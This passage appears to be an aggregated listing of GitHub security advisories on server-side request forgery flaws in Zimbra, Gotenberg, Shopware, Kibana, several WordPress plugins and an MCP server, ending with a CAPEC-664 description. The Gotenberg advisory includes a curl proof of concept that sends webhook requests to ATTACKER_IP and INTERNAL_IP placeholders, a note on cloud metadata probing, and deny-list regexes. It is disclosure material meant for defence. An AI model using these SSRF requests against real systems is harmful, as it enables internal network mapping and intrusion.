"url": "https://www.yuque.com/morysummer/vx41bz/pgg9q7kdbkggtq08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5VFC-GF4X-6FJ8
Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:49Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component.
{
"affected": [],
"aliases": [
"CVE-2019-6981"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-29T22:29:00Z",
"severity": "MODERATE"
},
"details": "Zimbra Collaboration Suite 8.7.x through 8.8.11 allows Blind SSRF in the Feed component.",
"id": "GHSA-5vfc-gf4x-6fj8",
"modified": "2024-04-04T00:49:40Z",
"published": "2022-05-24T16:46:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6981"
},
{
"type": "WEB",
"url": "https://bugzilla.zimbra.com/show_bug.cgi?id=109096"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5VH4-8356-P89C
Vulnerability from github – Published: 2026-07-15 00:31 – Updated: 2026-07-15 00:31A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-15750"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T22:16:52Z",
"severity": "LOW"
},
"details": "A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-5vh4-8356-p89c",
"modified": "2026-07-15T00:31:40Z",
"published": "2026-07-15T00:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15750"
},
{
"type": "WEB",
"url": "https://github.com/mastergo-design/mastergo-magic-mcp/issues/89"
},
{
"type": "WEB",
"url": "https://github.com/mastergo-design/mastergo-magic-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-15750"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/856633"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/378329"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/378329/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5VH4-RGV7-P9G4
Vulnerability from github – Published: 2026-04-30 17:24 – Updated: 2026-05-08 15:31CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg
Severity
| Field | Value |
|---|---|
| CVSS v3.1 | 8.6 High |
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| CWE | CWE-918 — Server-Side Request Forgery |
| Auth | None |
Affected: Gotenberg 8.29.1 — default gotenberg/gotenberg:8 Docker image.
Impact
An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the Gotenberg-Webhook-Url request header.
This is a blind SSRF. Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The Gotenberg-Webhook-Error-Url header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.
The practical impact is therefore:
- Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
- Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
- Cloud metadata interaction: Gotenberg can be forced to POST to
http://169.254.169.254/— confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.
The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.
Proof of Concept
# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST 'http://TARGET:3000/forms/chromium/convert/url' \
-H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \
-H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \
-F 'url=https://example.com'
Root Cause
FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.
func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {
if len(allowed) > 0 { ... } // skipped — empty by default
if len(denied) > 0 { ... } // skipped — empty by default
return nil // any URL passes
}
The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.
Recommendations
Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.
Operators (immediate):
# Restrict to your own receiver
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"
# Or block internal ranges
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"
Attribution
This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".
Timeline
| Date | Event |
|---|---|
| 2026-04-04 | Vulnerability discovered |
| 2026-04-05 | SSRF confirmed — outbound POST captured at local listener |
| 2026-04-05 | Report drafted for disclosure |
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "8.29.1"
},
{
"fixed": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39383"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:24:33Z",
"nvd_published_at": "2026-05-05T21:16:22Z",
"severity": "MODERATE"
},
"details": "# CVE Report \u2014 Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg\n\n## Severity\n\n| Field | Value |\n|-----------|----------------------------------------|\n| CVSS v3.1 | **8.6 High** |\n| Vector | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` |\n| CWE | CWE-918 \u2014 Server-Side Request Forgery |\n| Auth | None |\n\n**Affected:** Gotenberg 8.29.1 \u2014 default `gotenberg/gotenberg:8` Docker image.\n\n---\n\n## Impact\n\nAn unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the `Gotenberg-Webhook-Url` request header.\n\n**This is a blind SSRF.** Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (\u003e= 400). The response body from the SSRF target is never forwarded to the attacker. The `Gotenberg-Webhook-Error-Url` header \u2014 if supplied \u2014 receives the original converted PDF when the webhook POST fails, not the target\u0027s response body.\n\nThe practical impact is therefore:\n\n- **Internal network probing:** if the error URL is NOT called, the target returned 2xx \u2192 host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out \u2192 port closed or service rejected the request. This allows mapping internal infrastructure one request at a time. \n- **Forced POST to internal services:** any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.\n- **Cloud metadata interaction:** Gotenberg can be forced to POST to `http://169.254.169.254/` \u2014 confirming reachability and probing available paths \u2014 but cannot read the credential response body through this channel alone.\n\nThe retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.\n\n---\n\n## Proof of Concept\n\n```bash\n# Minimal SSRF trigger \u2014 replace ATTACKER_IP with your listener \u0026 INTERNAL_IP with the target.\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n -X POST \u0027http://TARGET:3000/forms/chromium/convert/url\u0027 \\\n -H \u0027Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture\u0027 \\\n -H \u0027Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error\u0027 \\\n -F \u0027url=https://example.com\u0027\n```\n\n---\n\n## Root Cause\n\n`FilterDeadline` in `filter.go` is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns `nil` unconditionally, allowing any URL through.\n\n```go\nfunc FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {\n if len(allowed) \u003e 0 { ... } // skipped \u2014 empty by default\n if len(denied) \u003e 0 { ... } // skipped \u2014 empty by default\n return nil // any URL passes\n}\n```\n\nThe unvalidated URL is then stored verbatim and used as the destination for an outbound `retryablehttp` request in `client.go:62`.\n\n---\n\n## Recommendations \n\n**Gotenberg maintainers:** Invert the default \u2014 deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.\n\n**Operators (immediate):**\n```bash\n# Restrict to your own receiver\n--env GOTENBERG_API_WEBHOOK_ALLOW_LIST=\"https://my-receiver\\.example\\.com/.*\"\n# Or block internal ranges\n--env GOTENBERG_API_WEBHOOK_DENY_LIST=\"^https?://(169\\.254\\.|10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)\"\n```\n\n---\n\n## Attribution\n\nThis is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in `FilterDeadline` where an unconfigured state means \"allow all\" rather than \"deny all\".\n\n---\n\n## Timeline\n\n| Date | Event |\n|------------|-------|\n| 2026-04-04 | Vulnerability discovered |\n| 2026-04-05 | SSRF confirmed \u2014 outbound POST captured at local listener |\n| 2026-04-05 | Report drafted for disclosure |",
"id": "GHSA-5vh4-rgv7-p9g4",
"modified": "2026-05-08T15:31:10Z",
"published": "2026-04-30T17:24:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5vh4-rgv7-p9g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39383"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL"
}
GHSA-5VMG-X99G-396Q
Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2023-08-22 14:38Shopware before 6.2.3 is vulnerable to a Server-Side Request Forgery (SSRF) in its "Mediabrowser upload by URL" feature. This allows an authenticated user to send HTTP, HTTPS, FTP, and SFTP requests on behalf of the Shopware platform server.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13970"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T21:05:17Z",
"nvd_published_at": "2020-07-28T21:15:00Z",
"severity": "HIGH"
},
"details": "Shopware before 6.2.3 is vulnerable to a Server-Side Request Forgery (SSRF) in its \"Mediabrowser upload by URL\" feature. This allows an authenticated user to send HTTP, HTTPS, FTP, and SFTP requests on behalf of the Shopware platform server.",
"id": "GHSA-5vmg-x99g-396q",
"modified": "2023-08-22T14:38:20Z",
"published": "2022-05-24T17:24:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13970"
},
{
"type": "WEB",
"url": "https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-07-2020"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopware/platform"
},
{
"type": "WEB",
"url": "https://www.shopware.com/en/changelog/#6-2-3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Shopware vulnerable to SSRF"
}
GHSA-5VMW-6F78-PJ9M
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35The Canto plugin 1.3.0 for WordPress contains blind SSRF vulnerability. It allows an unauthenticated attacker can make a request to any internal and external server via /includes/lib/get.php?subdomain=SSRF.
{
"affected": [],
"aliases": [
"CVE-2020-28977"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-30T14:15:00Z",
"severity": "MODERATE"
},
"details": "The Canto plugin 1.3.0 for WordPress contains blind SSRF vulnerability. It allows an unauthenticated attacker can make a request to any internal and external server via /includes/lib/get.php?subdomain=SSRF.",
"id": "GHSA-5vmw-6f78-pj9m",
"modified": "2022-05-24T17:35:14Z",
"published": "2022-05-24T17:35:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28977"
},
{
"type": "WEB",
"url": "https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0"
},
{
"type": "WEB",
"url": "https://github.com/CantoDAM/Canto-Wordpress-Plugin"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/canto/#developers"
},
{
"type": "WEB",
"url": "https://www.canto.com/integrations/wordpress"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5VP5-GWXM-8XRQ
Vulnerability from github – Published: 2023-09-19 21:31 – Updated: 2024-04-04 07:44The Crayon Syntax Highlighter plugin for WordPress is vulnerable to Server Side Request Forgery via the 'crayon' shortcode in versions up to, and including, 2.8.4. This can allow authenticated attackers with contributor-level permissions or above to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2023-4893"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-12T02:15:13Z",
"severity": "MODERATE"
},
"details": "The Crayon Syntax Highlighter plugin for WordPress is vulnerable to Server Side Request Forgery via the \u0027crayon\u0027 shortcode in versions up to, and including, 2.8.4. This can allow authenticated attackers with contributor-level permissions or above to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-5vp5-gwxm-8xrq",
"modified": "2024-04-04T07:44:32Z",
"published": "2023-09-19T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4893"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crayon-syntax-highlighter/trunk/crayon_highlighter.class.php#L83"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/527f75f1-6361-4e16-8ae4-d38ca4589811?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5VXG-7WX9-4FP4
Vulnerability from github – Published: 2025-01-23 06:31 – Updated: 2025-01-23 06:31A server side request forgery vulnerability was identified in Kibana where the /api/fleet/health_check API could be used to send requests to internal endpoints. Due to the nature of the underlying request, only endpoints available over https that return JSON could be accessed. This can be carried out by users with read access to Fleet.
{
"affected": [],
"aliases": [
"CVE-2024-43710"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T06:15:27Z",
"severity": "MODERATE"
},
"details": "A server side request forgery vulnerability was identified in Kibana where the /api/fleet/health_check API could be used to send requests to internal endpoints. Due to the nature of the underlying request, only endpoints available over https that return JSON could be accessed. This can be carried out by users with read access to Fleet.",
"id": "GHSA-5vxg-7wx9-4fp4",
"modified": "2025-01-23T06:31:49Z",
"published": "2025-01-23T06:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43710"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-15-0-security-update-esa-2024-29-esa-2024-30/373521"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5W55-FGG7-M5GX
Vulnerability from github – Published: 2025-09-08 06:30 – Updated: 2025-09-08 21:30The Ditty WordPress plugin before 3.1.58 lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs.
{
"affected": [],
"aliases": [
"CVE-2025-8085"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-08T06:15:34Z",
"severity": "HIGH"
},
"details": "The Ditty WordPress plugin before 3.1.58 lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs.",
"id": "GHSA-5w55-fgg7-m5gx",
"modified": "2025-09-08T21:30:59Z",
"published": "2025-09-08T06:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8085"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.